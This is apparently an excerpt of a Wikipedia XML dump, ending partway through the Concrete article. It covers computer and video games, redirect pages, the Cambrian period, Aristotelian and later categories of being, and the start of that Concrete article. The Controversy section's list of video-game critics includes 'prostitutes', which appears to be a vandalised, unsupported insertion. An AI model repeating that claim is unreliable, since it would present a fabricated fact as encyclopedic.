On the Internet, gaming has also become a popular subject of many [[webcomics]]. Currently there are two varieties. The first one is the [[sprite comic]], such as [[8 Bit Theatre]], in which the artist uses [[sprite (computer graphics)|sprites]] from the earlier Final Fantasy games to tell stories. Sometimes these are original stories, but are often parodies of the game in which the sprite came from. The other is a more traditional comic strip, containing original art, like [[Penny Arcade (comic)|Penny Arcade]]. Here, the storylines or jokes revolve around current events in video gaming. The success of Penny Arcade has attracted many people in the industry, including [[Ubisoft]]. Other parodies have come in the form of amateur videos on Tetris or Ghosts and Goblins, such as those of [[Mega 64]].

Online shows are fast becoming the place to view live action gaming broadcasts such as Gamespot's 'On the Spot'

===What the Player Gains===
Computer and videogames differ from other forms of [[entertainment]] in that the person experiencing them is in control, one way or another. In order to experience the game, the player must first determine the objective(s), as well as how to complete them. S/he must then learn the game controls  and how the human-machine interface works, including menus and [[HUD]]s. An experienced player will be able to do all this in a very short period of time upon first discovering a new game- such quick learning skills can easily be transferred to other areas of mental application.

To win at a game, the player may devote his/her entire attention to it, and utilise newly-learnt skills or tactics. It could be said that when players stare at a screen with a blank expression, it isn't one of hopeless mesmerization, but one of intense concentration.

More obvious benefits to the player is education on the game's subject matter. For example an [[RTS]] game set in the past may require use of ancient armies or outwitting a famous world leader of the time.

Games which encourage strategic thinking have well-honed rule sets that the player needs to thoroughly grasp. A well-designed game will be easy to pick up but difficult to master, like [[chess]]. Development of techniques are tested against an advanced computer player or online against other human players.

Despite the popular image of videogames being manic tests of the player's [[reflexes]], some successful games do the opposite- stealth games, for example, reward patience.

===Controversy===
{{main|Video game controversy}}

Computer and video games have been the subject of frequent controversy and [[censorship]], due to the depiction of graphic [[violence]], [[sex]]ual themes, [[advertising]], consumption of illegal [[recreational drug use|drugs]], consumption of [[alcoholic beverage|alcohol]] or [[tobacco]], [[propaganda]] or [[profanity]] in some games. Among others, critics of video games sometimes include parents' groups, [[politician]]s, [[prostitutes]],  organized [[religion]] groups, and other [[special interest]] groups, even though all these can be found in all forms of entertainment and media.

''Video game censorship'' is defined as the use of state or group power to control the playing, distribution, purchase, or sale of video games or computer games. Video game controversy comes in many forms, and censorship is a controversial subject, as well as a popular topic of debate. Proponents and opponents of censorship are often very passionate about their individual views.

Historically, this type of controversy and criticism is not unique to video games. The same situation has been applied to [[Comic books]], [[PMRC|music]], and [[Production Code|motion pictures]]. Moreover, it appears to be a question of age. Since these art forms have been around longer, the backlash against them occurred farther in the past, beyond the remembrance of today's youth. In both cases, the attempts at censorship in the [[United States]] were struck down as a violation of [[First Amendment]] [[rights]], and they have gone on to become fully integrated facets of society.

==Development==
{{main|Game development}}

Video games are made by [[video game developer|developers]], who used to do this as individuals or small teams in the 80's. Now, development commonly requires a large team consisting of [[game designer|designers]], [[graphic design]]ers and other [[artist]]s, [[game programmer|programmer]]s, [[sound design]]ers, [[musician]]s, and other technicians; all of which are managed by [[game producer|producers]]. The visionary for any game may come from any of the roles outlined. Development by committee rarely works.

Video games are developing fast in all areas, but the problem is of cost, and how developers intend to keep the costs low enough to attract publisher investment. Most video game console development teams number anywhere from 20 to 50 people, with some teams exceeding 100. The average team size as well as the average development time of a game have grown along with the size of the industry and the technology involved in creating games. This has led to regular occurrences of missed deadlines and unfinished products;  ''[[Duke Nukem Forever]]'' is the quintessential example of these problems. ''See also: [[video game industry practices]]''.

===Game modifications===
{{main|Mod (computer gaming)}}

Games running on a PC are often designed with end-user modifications in mind, and this consequently allows modern computer games to be modified by gamers without much difficulty.  These [[mod (computer gaming)|mod]]s can add an extra dimension of replayability and interest.  The [[Internet]] provides an inexpensive medium to promote and distribute mods, and they have become an increasingly important factor in the commercial success of some games.  Developers such as [[id Software|id]], [[Valve Software|Valve]], and [[Epic Games|Epic]] ship their games with the very development tools used to make the game in the first place, along with documentation to assist mod developers, which allows for the kind of success seen by popular mods such as ''[[Counter-Strike]]''.

Popular mods are very occasionally bought by the developers of the game. This was the case with Valve's ''[[Half-Life]]''. Valve bought a number of popular mods including ''Counter-Strike'' and ''[[Day of Defeat]]''. After the release of ''[[Half-Life 2]]'' Valve developed these mods for the sequel and sold them through their Internet [[digital distribution]] software, [[Steam (content delivery)|Steam]].

Recently, computer games have also been used as a [[digital art]] medium. See [[artistic computer game modification]] and [[Machinima]].

==Naming==
Non-gamers use several [[umbrella term]]s for console, PC, arcade, handheld, and similar games since they do not agree on the best name.  For many, either &quot;computer game&quot; or &quot;video game&quot; describes these games as a whole.  Other commonly used terms include &quot;entertainment software,&quot; &quot;interactive entertainment media,&quot; &quot;electronic interactive entertainment,&quot; &quot;electronic game,&quot; &quot;software game,&quot; and &quot;videogame&quot; (as one word).
Gamers are quite happy to use the vague term &quot;games&quot;, or &quot;videogame/video game&quot; to distinguish them from board games and card games when necessary.

Computer and video games are a subset of [[interactive media]], which includes [[virtual reality]], [[flight simulators|flight]] and [[engineering]] simulation, [[multimedia]] and the [[World Wide Web]].

==See also==
{{sisterlinks|Computer and video games}}
* [[List of gaming topics|Computer and video game articles by topic]]
* [[:Category:Computer and video games|Computer and video game articles by category]]
* [[Computer and video game industry]]

==References==
# {{note|pcsales}} {{cite web
 | publisher = Entertainment Software Association (ESA)
 | year = 2004
 | url = http://theesa.com/facts/sales_genre_data.php
 | title = Sales &amp; Genre data
 | accessdate = February 12
 | accessyear = 2006
}}
# {{note|avgage}} {{cite web
 | publisher = Entertainment Software Association (ESA)
 | year = 2006
 | url = http://www.theesa.com/facts/top_10_facts.php
 | title = Top 10 Industry Facts
 | accessdate = February 12
 | accessyear = 2006
}}
# {{note|piracy}} {{cite web
 | author = Blodget, Henry
 | year = April 12, 2005
 | url = http://slate.msn.com/id/2116629/
 | title = How to Solve China's Piracy Problem
 | publisher = Slate.com 
 | accessdate = February 12
 | accessyear = 2006
 }}
# {{note label|sales|a|a}} {{note label|sales|b|b}} {{cite web
 | year = January 18, 2005
 | url = http://gameinfowire.com/news.asp?nid=5650
 | title = U.S. video game industry sales dip in 2004
 | publisher = Game Info Wire
 | accessdate = February 12
 | accessyear = 2006
}}
# {{note|uspcsales}} {{cite web
 | author = Winegarner, Beth
 | year = January 28, 2005
 | url = http://www.gamespot.com/news/2005/01/28/news_6117438.html
 | title = Game sales hit record highs
 | publisher = Gamespot
 | accessdate = February 12
 | accessyear = 2006
 }}
* {{cite web
 | author = Lieu, Tina
 | date = August 1997
 | url = http://www.cjmag.co.jp/magazine/issues/1997/aug97/0897pcgames.html
 | title = Where have all the PC games gone?&quot;
 | publisher = Computing Japan
 }}
* {{cite web
 | author = Costikyan, Greg
 | date = 1994
 | url = http://www.costik.com/nowords.html
 | title = I Have No Words &amp; I Must Design
 }}
* {{cite web
 | author = Crawford, Chris
 | date = 1982
 | url = http://www.vancouver.wsu.edu/fac/peabody/game-book/Coverpage.html
 | title = The Art of Computer Game Design
 }}
* {{cite web
 | author = Jensen, Kirk
 | date = 2006
 | url = http://www.gameznstuff.com/content/view/32/37/
 | title = Video Games Vs The Movies
 }}
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[[Category:Computer and video games| {{PAGENAME}}]]

[[ca:Videojoc]]
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    <title>Christianity/Symbolism</title>
    <id>5364</id>
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        <username>Minesweeper</username>
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      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[Christian symbolism]]</text>
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  <page>
    <title>Cambrian</title>
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      <comment>migrate {{web reference}} to {{[[template:cite web|cite web]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">The '''Cambrian''' is a major division of the  [[geologic timescale]] that begins about 542 [[annum|Ma]] (million years ago) at the end of the [[Proterozoic]] [[eon (geology)|eon]] and ended about 488.3 Ma with the beginning of the  [[Ordovician]] [[Geologic period|period]] ([[International Commission on Stratigraphy|ICS]], 2004). It is the first period of the [[Paleozoic]] [[Era (geology)|era]] of the [[Phanerozoic]] eon. The Cambrian is the earliest period in whose rocks are found numerous large, distinctly-fossilizable [[Metazoa|multicellular]] organisms that are more complex than sponges or medusoids. During this time, roughly fifty separate major groups of organisms or &quot;[[Phylum (biology)|phyla]]&quot; (a phylum defines the basic body plan of some group of modern or extinct animals) emerged suddenly, in most cases without evident precursors. This radiation of animal phyla is referred to as the '''[[Cambrian explosion]]'''.

{{Paleozoic Footer}}

== Cambrian subdivisions ==
The Cambrian period follows after the [[Neoproterozoic]] and is followed by the [[Ordovician]] period. The Cambrian is divided into three [[geologic time scale|epoch]]s — the [[Early Cambrian]] (Lower Cambrian, Caerfai or Waucoban), [[Middle Cambrian]] (St Davids or Albertian) and [[Furongian]] (a.k.a. Late/Upper Cambrian, Merioneth or Croixan).

Each of the epochs are divided into two [[faunal stage]]s. Only one, [[Paibian]] has been recognized by the [[International Commission on Stratigraphy]]. Others are still unnamed. However, the Cambrian is divided into several regional faunal stages:

{| class=&quot;wikitable&quot; |
!
! Chinese
! North American
! Russian-Kazakhian
! Australian
! Regional
|-
! rowspan=&quot;4&quot; | [[Furongian]]
|
| [[Ibexian]] (part)
| [[Ayusokkanian]]
| [[Idamean]]
| [[Dolgellian]]
|-
|
| [[Sunwaptan]]
| [[Sakian]]
| [[Mindyallan]]
| [[Festiniogian]]
|-
|
| [[Steptoan]]
| [[Aksayan]]
| [[Payntonian]]
| [[Maentwrogian]]
|-
|
| rowspan=&quot;2&quot; | [[Marjuman]]
| [[Batyrbayan]]
|
|
|-
! rowspan=&quot;5&quot; | [[Middle Cambrian]]
| [[Maozhangian]]
| [[Mayan stage|Mayan]]
| [[Boomerangian]]
|
|-
| [[Zuzhuangian]]
| [[Delamaran]]
| [[Amgan]]
| [[Undillian]]
|
|-
| [[Zhungxian]]
|
|
| [[Florian stage|Florian]]
|
|-
|
|
|
| [[Templetonian]]
|
|-
| &amp;nbsp;
| rowspan=&quot;2&quot; | [[Dyeran]]
|
| rowspan=&quot;2&quot; | [[Ordian]]
|
|-
! rowspan=&quot;5&quot; | [[Early Cambrian]]
| [[Longwangmioan]]
| [[Toyonian]]
| [[Lenian]]
|-
| [[Changlangpuan]]
| [[Montezuman]]
| [[Botomian]]
|
|
|-
| [[Qungzusian]]
|
| [[Atdabanian]]
|
|
|-
| [[Meishuchuan]]
|
| [[Tommotian]]
|
|
|-
|
|
| [[Nemakit-Daldynian]]
|
|
|}

===Cambrian dating===
The time range for the Cambrian has classically been thought to have been from about [[1 E16 s|500 Ma]] to about [[1 E16 s|570 Ma]]. The lower boundary of the Cambrian was traditionally set at the earliest appearance of early [[arthropod]]s known as [[trilobite]]s and of primitive [[reef]]-forming animals known as [[archeocyatha|archeocyathids]]. The end of the period was eventually set at a fairly definite faunal change now identified as an [[extinction event]]. [[Fossil]] discoveries and [[radioactive dating]] in the last quarter of the [[20th century]] have called these dates into question.  Date inconsistencies as large as 20 million years are common between authors.  Framing dates of ''ca.'' (approximately) 545 to 490 Ma were proposed by the International Subcommission on Global Stratigraphy as recently as 2002.

A radiometric date from [[New Brunswick]] puts the end of the first stage of the Cambrian around [[1 E16 s|511 Ma]].  This leaves 21 million years for the other two stages of the Cambrian.

A more precise date [[1 E16 s|542 Ma]] (plus or minus 300,000 years) for the extinction event at the beginning of the Cambrian has recently been submitted. The rationale for this precise dating is interesting in itself as an example of [[Paleontology|palaeological]] [[deductive reasoning]]. Exactly at the Cambrian boundary there is a marked fall in the abundance of [[carbon-13]], a 'reverse spike' that [[palaeontologist]]s call an '''excursion'''. It is so widespread that it is the best indicator of the position of the Precambrian-Cambrian boundary in [[stratigraphic sequences]] of roughly this age. One of the places that this well-established carbon-13 excursion occurs is in [[Oman]]. Amthor (2003) describes evidence from Oman that indicates the [[carbon]]-[[isotope]] excursion relates to a mass extinction: the disappearance of distinctive fossils from the pre-Cambrian coincides exactly with the carbon-13 anomaly. Fortunately, in the Oman sequence, so too does a [[volcanic ash]] horizon from which [[zircon]]s provide a very precise age of 542 ± 0.3 Ma (calculated on the decay rate of [[uranium]] to [[lead]]). This new and precise date tallies with the less precise dates for the carbon-13 anomaly, derived from sequences in [[Siberia]] and [[Namibia]]. It is presented here as likely to become accepted as the definitive age for the start of the Phanerozoic eon, and thus the start of the Palaeozoic era and the Cambrian period.

==Cambrian palaeogeography==
Cambrian [[continent]]s are thought to have resulted from the breakup of a [[neoproterozoic]] [[supercontinent]] called [[Rodinia]]. The waters of the Cambrian period appear to have been widespread and shallow. It is thought that Cambrian [[climate]]s were significantly warmer than those of preceding times that experienced extensive [[ice age]]s discussed as the [[Cryogenian|Varanger glaciation]]. [[Continental drift]] rates in the Cambrian may have been anomalously high. Because of their complexity, it is difficult to describe continental motions in text. Time-sequenced maps of paleo-continents and other major geologic features are called [[paleomap]]s and are available at several Internet sites (see below).

==Cambrian fauna==
[[Image:Trilobite Redlichia.jpg|thumb|Fossil trilobite ''Redlichia chinensis'' from the Cambrian of China]]
Aside from a few enigmatic forms that may or may not represent animals, all modern [[animal]] phyla with any fossil record to speak of except [[bryozoa]] appear to have representatives in the Cambrian, and of these most except [[porifera|sponges]] seem to have originated just after or just before the start of the period. However, several modern phyla, primarily those with small and/or soft bodies, have no fossil record, in the Cambrian or otherwise. Many [[Extinction|extinct]] phyla and odd animals that have unclear relationships to other animals also appear in the Cambrian. The apparent &quot;sudden&quot; appearance of very diverse faunas over a period of no more than a few tens of millions of years is referred to as the &quot;[[Cambrian Explosion]]&quot;.

The best studied sites where soft parts of organisms have fossilized are in the [[Burgess shale]] of [[British Columbia]]. They represent strata from the middle Cambrian and provide us with a wealth of information on early animal diversity. Similar faunas have subsequently been found in a number of other places -- most importantly in very early Cambrian [[shale]]s in [[China]]'s [[Yunnan]] Province (see [[Maotianshan shales]]). Fairly extensive pre-Cambrian [[Ediacarian]] faunas have been identified in the past 50 years, but their relationships to Cambrian forms are quite obscure.

==External links and references==
* [http://www.astrobio.net/news/article251.html Weird Life on the Mats]
* {{cite journal
 | last = Amthor | first =  J. E.
 | coauthors = ''et al.''
 | year = 2003
 | title= Extinction of ''[[Cloudinia]]'' and ''Namacalathus'' at the Precambrian-Cambrian boundary in Oman
 | journal = Geology
 | volume = 31 | pages = pp 431–434
 | id = {{doi|&lt;nowiki&gt;10.1130/0091-7613(2003)031&lt;0431:EOCANA&gt;2.0.CO;2 &lt;/nowiki&gt;}}
 }}
* [http://www.earth-pages.com/archive/geobiology.asp Report on the web on Amthor et al. from ''Geology'' vol. 31].
* [http://www.scotese.com/ Paleomap Project].
* {{cite web
 | title = International Commission on Stratigraphy (ICS)
 | url = http://www.stratigraphy.org/
 | accessdate = Sept 19
 | accessyear = 2005
 }}

{{Cambrian Footer}}

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[[zh:寒武纪]]</text>
    </revision>
  </page>
  <page>
    <title>Columbia 1</title>
    <id>5368</id>
    <revision>
      <id>15903579</id>
      <timestamp>2003-02-01T16:51:08Z</timestamp>
      <contributor>
        <username>Hotlorp</username>
        <id>3071</id>
      </contributor>
      <comment>redirect to STS-1</comment>
      <text xml:space="preserve">#REDIRECT [[STS-1]]</text>
    </revision>
  </page>
  <page>
    <title>Contraception</title>
    <id>5369</id>
    <revision>
      <id>15903580</id>
      <timestamp>2002-03-15T07:42:10Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>-&amp;gt;[[Birth control]]</comment>
      <text xml:space="preserve">#REDIRECT [[Birth control]]</text>
    </revision>
  </page>
  <page>
    <title>Category of being</title>
    <id>5370</id>
    <revision>
      <id>36849839</id>
      <timestamp>2006-01-26T21:59:36Z</timestamp>
      <contributor>
        <ip>202.36.179.65</ip>
      </contributor>
      <comment>/* Aristotle's ''Categories'' */ clarify</comment>
      <text xml:space="preserve">In [[metaphysics]] (in particular, [[ontology]]), the different kinds or ways of [[being]] are called '''categories of being''' or simply ''categories.''  According to the [[Aristotle|Aristotelian]] tradition, a being is anything that can be said to ''be'' in the various senses of this word.  Hence, to investigate the categories of being is to determine the most fundamental senses in which things can be said to ''be.''  A category, more precisely, is any of the broadest [[class (philosophy)|class]]es of things - 'thing' here meaning anything whatever that can be discussed and cannot be [[reduction|reduced]] to any other class.

An exhaustive account of the categories is to be hoped for. Some have desired ontolgical category schemes that were more than exhaustive, by virtue of admitting nonexistent or even logically impossible objects. The category schemes of [[Alexius Meinong]] are a case in point.

What it means to take the category [[physical object]] seriously as a category of being is to assert that the concept of physical objecthood cannot be reduced to or explicated in any other terms - not, for example, in terms of [[bundle theory|bundles of properties]].  In this way, as it turns out, many ontological controversies can be understood as controversies about exactly which categories should be seen as fundamental, irreducible, or primitive.

==Aristotle's ''Categories''==
''Category'' came into use with [[Aristotle]]'s essay ''Categories'', in which he named 10 [[Categories (Aristotle)|categories]]. Nowadays, these categories are commonly seen as having a value that is merely historical, in part because Aristotle's notion of [[substance]] is commonly rejected. This rejection often stems from a misunderstanding of his real meaning, which was that substance is that which exists of itself and not in another. Given this understanding, to deny that substance exists amounts to saying that everything exists in another, which in turn implis that nothing exists. But if we assume that things do in fact exist, then at least one substance must be admitted, unless we allow things to nest in other things in either an infinite or a circular fashion. The latter option seems rather implausible, but the former option is conceivable if matter is assumed infinitely divisible, i.e., if atoms are denied.

==Other systems of categories==
In his ''[[Critique of Pure Reason]]'', [[Kant]] proposed the following system:
*[[Quantity]]
**[[Unity]]
**[[Plurality]]
**[[Totality]]
*[[Quality]]
**[[Reality]]
**[[Negation]]
**[[Limitation]]
*[[Relation]]
**[[Inherence]] and [[Subsistence]] ([[substance]] and [[accident]])
**[[Causality]] and [[Dependence]] ([[cause]] and [[effect]])
**Community (reciprocity)
*[[Modality]]
**[[Possibility]]
**[[Existence]]
**[[Necessity]]

[[Charles Peirce]], who had read Kant closely and who also had some knowledge of Aristotle, proposed a system of merely three phenomenological categories: ''Firstness'', ''Secondness'', and ''Thirdness'', which he repeatedly invoked in his subsequent writings. [[Edmund Husserl]] (1962, 2000) wrote extensively about categorial systems as part of his [[phenomenology]].

Contemporary systems of categories have been proposed by [[Wilfrid Sellars]] (1974), Grossman (1983), Johanssen (1989), Hoffman and Rosenkrantz (1994), [[Roderick Chisholm]] (1996), and [[Barry Smith]] (2003).

For [[Gilbert Ryle]] (1949), a category (in particular a &quot;category mistake&quot;) is an important semantic concept, but one having only loose affinities to an ontological category.

==Categories of being==

Philosophers have many differing views on what the fundamental categories of being are.  In no particular order, here are at least ''some'' items that have been regarded as categories of being by someone or other:

===Physical objects===
[[Physical object]]s are beings; certainly they are said to ''be'' in the simple sense that they ''exist'' all around us.  So a house is a being, a person's body is a being, a tree is a being, a cloud is a being, and so on.  They are beings because, and in the sense that, they are physical objects.  One might also call them [[body|bodies]], or physical [[particular]]s, or [[concrete]] things, or maybe [[substance]]s (but bear in mind the word 'substance' has some special philosophical meanings).

===Minds===
[[Mind]]s -- those &quot;parts&quot; of us that think and perceive -- are considered beings by some philosophers.  Each of us, according to [[common sense]] anyway, &quot;has&quot; a mind.  Of course, philosophers rarely just assume that minds occupy a different category of beings from physical objects.  Some, like [[René Descartes]], have thought that this is so (this view is known as [[dualism]], and [[Functionalism (philosophy of mind)|functionalism]] also considers the mind as distinct from the body), while others have thought that concepts of the mental can be [[reduction|reduced]] to physical concepts (this is the view of [[physicalism]] or [[materialism]]). Still others maintain though &quot;mind&quot; is a noun, it is not necessarily the &quot;name of a thing&quot; distinct within the whole person. In this view the relationship between mental properties and physical properties is one of [[supervenience]] &amp;ndash; similar to how &quot;banks&quot; supervene upon certain buildings. See [[Philosophy of mind]].

===Classes===
We can talk about all human beings, and the planets, and all engines as belonging to [[class (philosophy)|class]]es.  Within the class of human beings are all of the human beings, or the [[extension (semantics)|extension]] of the term 'human being'.  In the class of [[planet]]s would be Mercury, Venus, the Earth, and all the other planets that there might be in the universe.  Classes, in addition to each of their members, are often taken to be beings.  Surely we can say that in some sense, the class of planets ''is'', or has being.  Classes are usually taken to be [[Abstract structure|abstract objects]], like sets; 'class' is often regarded as equivalent, or nearly equivalent, in meaning to '[[set]]'. Denying that classes and sets exist is the contemporary meaning of [[nominalism]].

===Properties===
The redness of a red apple, or more to the point, the redness all red things share, is a ''[[property (philosophy)|property]]''.  One could also call it an ''attribute'' of the apple.  Very roughly put, a property is just a quality that describes an object.  This will not do as a definition of the word 'property' because, like 'attribute', 'quality' is a near-synonym of 'property'.  But these synonyms can at least help us to get a fix on the concept we are talking about.  Whenever one talks about the size, color, weight, composition, and so forth, of an object, one is talking about the properties of that object.  Some -- though this is a point of severe contention in the [[problem of universals]] -- believe that properties are beings; the redness of all apples is something that ''is.'' To deny that universals exist is the [[Scholastic philosophy|scholastic]] variant of [[nominalism]].

===Relations===
An apple sitting on a table is in a [[relation]] to the table it sits on.  So we can say that there is a relation between the apple and the table: namely, the relation of sitting-on.  So, some say, we can say that that relation has being.  For another example, the [[Washington Monument]] is taller than the [[White House]].  Being-taller-than is a relation between the two buildings.  We can say that ''that'' relation has being as well.  This, too, is a point of contention in the [[problem of universals]].

Properties, relations, and classes are supposed to be ''[[abstract]],'' rather than ''[[Concrete (philosophy)|concrete]].''  Many philosophers say that properties and relations have an abstract existence, and that physical objects have a concrete existence.  That, perhaps, is the [[paradigm case]] of a difference in ways in which items can be said to ''be,'' or to have being.

== See also ==
* [[metaphysics]]
* [[Modal logic]]
* [[Ontology]]

==References==
*[[Aristotle]], 1953. ''[http://etext.library.adelaide.edu.au/a/aristotle/metaphysics/ Metaphysics]''. Ross, W. D., trans. Oxford Uni. Press. 
*--------, 2004. ''[http://etext.library.adelaide.edu.au/a/a8/categori.html Categories]'', Edghill, E. M., trans. Uni. of Adelaide library.
*[[Roderick Chisholm]], 1996. ''A Realistic Theory of Categories''. Cambridge Uni. Press.
*Grossman,  Rheinhardt, 1983. ''The Categorial Structure of the World''. Indiana Uni. Press.
*Hoffman, J., and Rosenkrantz, G. S.,1994. ''Substance among other Categories''. Cambridge Uni. Press.
*[[Edmund Husserl]], 1962. ''Ideas: General Introduction to Pure Phenomenology''. Boyce Gibson, W. R., trans. Collier.
*------, 2000. ''Logical Investigations'', 2nd ed. Findlay, J. N., trans. Routledge.
*Johanssen, Ingvar, 1989. ''Ontological Investigations''. Routledge.
*[[Immanuel Kant]], 1998. ''Critique of Pure Reason''. Guyer, Paul, and Wood, A. W., trans. Cambridge Uni. Press.
*[[Charles Peirce]], 1992, 1998. ''The Essential Peirce'', vols. 1,2. Houser, Nathan et al, eds. Indiana Uni. Press.
*[[Gilbert Ryle]], 1949. ''The Concept of Mind''. Uni. of Chicago Press.
*[[Wilfred Sellars]], 1974, &quot;Toward a Theory of the Categories&quot; in ''Essays in Philosophy and Its History''. Reidel.
*[[Barry Smith]], 2003. &quot;Ontology&quot; in ''Blackwell Guide to the Philosophy of Computing and Information''. Blackwell.

== External links ==
* Stanford Encyclopedia of Philosophy [http://plato.stanford.edu/entries/categories/ Categories] -- Amie Thomasson.
* Aristotle's ''[http://classics.mit.edu/Aristotle/categories.html Categories]'' at MIT.
* &quot;[http://ejap.louisiana.edu/EJAP/1997.spring/thomasson976.html Ontological Categories and How to Use Them]&quot; -- Amie Thomassen.
* &quot;[http://www.cs.vassar.edu/~weltyc/fois/fois-2001/keynote/ Recent Advances in Metaphysics]&quot; -- E. J. Lowe.
* [http://www.formalontology.it/ Ontology: A Resource Guide for Philosophers] -- Raul Corrazon.

[[Category:Ontology]]

[[cs:Kategorie (filosofie)]]
[[de:Kategorie (Philosophie)]]
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[[zh:范畴 (哲学)]]</text>
    </revision>
  </page>
  <page>
    <title>Concrete</title>
    <id>5371</id>
    <revision>
      <id>42047415</id>
      <timestamp>2006-03-03T12:54:30Z</timestamp>
      <contributor>
        <ip>205.222.248.72</ip>
      </contributor>
      <comment>/* Self compacting concretes */</comment>
      <text xml:space="preserve">{{Otheruses}}

[[Image:Concrete pouring 0020.jpg|270px|right|thumb|Placing a concrete floor for a commercial building]]
[[Image:Concrete rebar 0030.jpg|220px|right|thumb|Installing rebar in a floor during a concrete pour]]

In [[construction]], '''concrete''' is a [[composite material|composite]] building material made from the combination of [[aggregate (composite)|aggregate]] and [[cement]] [[composite material|binder]].  

The most common form of concrete consists of [[Portland cement]], mineral aggregates (generally [[gravel]] and [[sand]]) and [[water (molecule)|water]]. 
Contrary to common belief, concrete does not solidify from drying after mixing and placement. Instead, the cement [[hydration|hydrates]], gluing the other components together and eventually creating a stone-like material. When used in the generic sense, this is the material referred to by the term '''concrete'''. Concrete is used to make pavements, building structures, foundations, motorways/roads, overpasses, parking structures, brick/block walls and bases for gates, fences and poles. Concrete is used more than any other man-made material on the planet, with water being the only substance on Earth we utilize more. As of 2005 over six billion tons of concrete are made each year, amounting to the equivalent of one ton for every person on Earth, and powers a 35 billion dollar industry which employs over two million workers in the United States alone. Over 55,000 miles of freeways and highways in America are made of this material. An old name for concrete is liquid stone. 

However, [[asphalt concrete]] is strictly speaking a form of concrete as well.

==History==
The [[Assyrian people|Assyrians]] and [[Babylonian]]s used [[clay]] as [[cement]] in their concretes. The [[Ancient Egyptian|Egyptian]]s used [[Lime (mineral)|lime]] and [[gypsum]] cement. In the [[Roman Empire]], concrete made from [[Quicklime]], [[pozzolanic ash]]/[[pozzolana]] and an aggregate made from [[pumice]] was very similar to modern portland cement concrete.  In [[1756]], [[United Kingdom|British]] engineer [[John Smeaton]] pioneered the use of portland cement in concrete, using pebbles and powdered brick as aggregate. In the modern day, the use of recycled/reused materials as concrete ingredients is gaining popularity due to increasingly stringent environmental legislation. The most conspicuous of these is pulverized fuel ash, recycled from the ash by-products of coal power plants. This has a significant impact in reducing the amount of quarrying and the ever-attenuating landfill space.

==Characteristics==
During hydration and hardening, concrete needs to develop certain physical and chemical properties, among others, mechanical strength, low permeability to ingress of moisture, and chemical and volume stability. Concrete has relatively high [[compressive strength]], but significantly lower [[tensile strength]] (about 10% of the compressive strength).  As a result, concrete always fails from tensile stresses - even when loaded in compression.  The practical implication of these facts is that concrete elements that are subjected to tensile stresses must be reinforced. To illustrate this difference in compressive and tensile strength for unreinforced concrete one only has to imagine a 10' x 10' section of concrete 4 inches thick suspended on its edges. This section of concrete would be unable to support its own weight and would crack in two. Concrete is most often constructed with the addition of [[steel]] bar or [[fiber]] reinforcement.  The reinforcement can be by bars ([[rebar]]s), mesh, or fibres to produce [[reinforced concrete]].  Concrete can also be [[prestressed concrete| prestressed]] (reducing tensile stress) using steel cables, allowing for [[beam (structure)|beam]]s or slabs with a longer span than is practical with reinforced concrete.

The ultimate strength of concrete is related to water-cement ratio (w/c), the proportion and type of cement to fillers, and the size, shape, and strength of the aggregate used. Concrete with lower water-cement ratio (down to 0.35) makes a stronger concrete than a higher ratio. Concrete made with smooth pebbles is weaker than that made with rough-surfaced broken rock pieces for example, pebbles require more bonding material (Cement) per area than larger rock, which has less surface area to bond than the smaller &quot;pea gravel&quot;. 

Certain shapes are very strong in compression, such as [[arch]]es and [[vault]]s, and are therefore preferred for concrete construction. A structural member such as a bridge beam may have a moment ( a bend ) placed in it by tensioning the steel ( wire or cable ) which keeps the beam in compression even when carrying a load.

===Curing===
Curing is the process of keeping concrete under a specific environmental condition.  Good curing is typically considered to be a moist environment which promotes hydration.  Increased hydration lowers permeability and increases strength, resulting in a higher quality material.  The effects of curing are primarily a function of specimen geometry, the [[permeability]] of the concrete, curing length and curing history.

===Cracking===
Concrete is placed in a wet or plastic state, and therefore can be manipulated and molded as needed.  Hydration and hardening of concrete may lead to tensile stresses at a time when it has not yet gained significant strength, resulting in shrinkage cracks. Extending the period concrete stays damp during curing increases its strength. Minimizing stress prior to curing minimizes cracking. High early strength concrete is designed to cure faster and thus can be stressed earlier than other concretes. 

Cracking may start out as micro cracking, thus not readily apparent. 

Freezing of concrete (such as in cold climates) before the curing is complete will interrupt the hydration process, reducing the concrete strength and leading to scaling and other damage or failure.

Concrete can be sampled and tested off site for strength. Such tests may use hydraulic ram compression. Construction site testing, including concrete testing, is typically performed by a accredited (such as AASHTO, U.S. Army Corps) independent testing laboratory.

[[Image:Concrete pumper.jpg|400px|right|thumb|Because it is a fluid, concrete can be pumped to where it is needed.  Here a concrete transport truck is feeding concrete to a concrete pumper, which is pumping it to where a slab is being poured.]]

==Additives==

Additives are organic or non-organic materials in form of solids or fluids that are added to the concrete to give it certain characteristics. In normal use the additives make up less than 5% of the cement weight.
The most used types of additives are:
* [[Accelerator (chemistry)|Accelerator]]s: Speed up the hydration (strengthening) of the concete.
* [[Retarder]]s: Slow the hydration of concrete.
* Air-[[entrainer]]s: Add and distributes tiny air bubbles to the concrete, which reduces damage due to freeze-thaw cycles.
* [[Plasticizer]]s: Increase the workability of concrete, allowing it to flow around tightly packed rebar. Most plasticizers also act as accelerators.
* Liquid Colors: Change the color of concrete for aesthetics.
* [[Fly ash]]: A by-product of coal-fire [[power station|electric generating plants]], it's used to replace the volume of [[Portland cement]] by up to 50%.

==Workability==
Workability is the ability of a fresh (plastic) concrete mix to fill the form/mould properly with the desired work (vibration) and without reducing the concrete's [[quality]]. Workability depends on water content, additives, [[aggregate]] (shape and size distribution) and age (level of [[hydration]]). Raising the water content or adding [[plasticizer]] will increase the workability. Too much water will lead to bleeding (loss of water) and/or segregation (concrete starts to get heterogeneous) and the resulting concrete will have reduced quality.

Workability is normally tested by slump measurement. High flow concrete, like self compacting concrete, are normally tested by one of several flow measuring methods.

Concrete slump is a simplistic measure of fresh (plastic) concrete's workability. Slump is normally  determined by the [[ASTM]] C 143 or EN 12350-2 slump test standards, using the [[Abrams cone]], into which concrete is placed for testing. When the cone is carefully lifted off the enclosed material, it will slump a certain amount due to its water content. A relatively dry sample will slump very little, and be given a slump of one or two inches (25 or 50 mm), while a relatively wet concrete sample may slump as much as six or seven inches (150 to 175 mm).

To increase the slump, the [[rule of thumb]] is:
* US units
:Add 1 [[US gallon]] of water per cubic yard of concrete in the mixer truck to increase slump by 1 inch. Adding 27 US gallons to 9 cubic yards of batched concrete will therefore increase the slump by about 3 inches.
